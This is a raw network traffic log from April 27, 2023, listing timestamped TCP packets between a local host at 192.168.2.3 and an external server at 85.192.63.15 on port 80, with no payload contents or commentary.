Apr 27, 2023 07:41:59.174351931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.174351931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397131920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397178888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397223949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397268057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397273064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397273064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397273064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397303104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397356033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397361994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397391081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397427082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397435904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397454977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397485018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397500038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397521973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.397556067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.397582054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.398900986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.398947954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.398982048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.399027109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.399044037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.399044037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.399044037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.399063110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.399096966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.399122000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.401927948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.402039051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.402064085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.402110100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.402126074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.402157068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.402167082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.402194977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.402216911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.402250051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.403291941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.403419971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.403486013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.403532982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.403558969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.403569937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.403594971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.403621912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.406387091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.406444073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.406490088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.406524897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.406538010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.406557083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.406578064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.406584024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.406605005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.406642914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.412786007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.412837029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.412868977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.412887096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.412914991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.412918091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.412918091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.412951946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.412992001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.413012981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.414525986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.414571047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.414591074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.414616108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.414623022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.414652109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.414668083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.414710045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.416229963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.416276932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.416310072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.416316032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.416316032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.416351080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.416358948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.416394949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.416408062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.416479111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.418687105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.418735027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.418785095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.418785095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.418809891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.418849945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.418854952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.419008017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.420212030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.420248985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.420295000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.420303106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.420342922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.420346022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.420346022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.420383930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.420387983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.420557022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.423546076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.423633099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.423660040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.423695087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.423712015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.423739910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.423748970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.423775911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.423784971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.423820019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.425391912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.425427914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.425527096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.425571918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.425575972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.425575972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.425575972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.425606966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.425621986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.425658941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.428694963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.428772926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.428827047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.428877115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.428881884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.428915024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.428924084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.428958893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.430227995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.430274010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.430310011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.430310011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.430335999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.430352926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.430360079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.430397987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.430408955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.430447102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.448477983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.448532104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.448568106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.448580980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.448626995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.448627949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.448630095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.448668957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.448685884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.448724985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.451721907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.451785088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.451831102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.451849937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.451869965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.451884985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.451884985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.451919079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.453342915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.453381062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.453428030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.453428984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.453452110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.453475952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.453500986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.453512907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.453520060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.453563929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.456576109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.456624985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.456643105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.456665993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.456674099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.456712961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.456723928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.456762075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.458571911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.458652020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.458673000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.458694935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.458697081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.458735943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.458744049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.458781958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.480452061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.480516911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.480554104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.480601072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.480638981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.480897903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.482134104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.482181072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.482213020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.482218981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.482249975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.482256889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.482294083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.482306004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.482306004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.482366085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.483776093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.483814001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.483855009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.483856916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.483880043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.483903885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.483906031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.483943939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.483958960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.483990908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.508794069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.508860111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.508907080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.508908033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.508938074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.508945942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.508990049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.509035110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.509865999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.509913921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.509949923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.509953022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.509974957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.509998083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.510015011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.510039091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.510061979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.510102034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.516741037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.516791105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.516836882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.516872883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.516917944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.516922951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.516922951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.516953945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.516994953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.517000914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.517043114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.517046928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.517090082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.517095089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.517127037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.517132998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.517169952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.517205954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.519851923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.519901037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.519937992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.519954920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.519979000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.519987106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.519996881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.520026922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.520047903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.520078897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.521532059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.521569014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.521614075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.521647930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.521663904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.521687984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.521699905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.521785021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.525371075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.525429964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.525465965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.525475025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.525501013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.525513887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.525533915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.525577068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.552336931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.552401066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.552465916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.552480936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.552481890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.552501917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.552550077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.552551031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.552573919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.552591085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.552601099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.552644968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.553898096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.553936958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.553971052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.553981066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.553998947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.554017067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.554017067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.554039955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.555442095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.555473089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.555541039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.555541039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.555547953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.555576086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.555605888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.555609941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.555625916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.555644035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.555665970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.555691004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.560441017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.560480118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.560506105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.560528040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.560539961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.560558081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.560558081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.560570002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.560586929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.560617924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.588489056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.588620901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.588666916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.588712931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.588751078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.588749886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.588749886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.588751078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.588840008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.588840008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.589716911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.589765072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.589801073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.589811087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.589823961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.589859009 CEST	80	49697	85.192.63.15	192.168.2.3
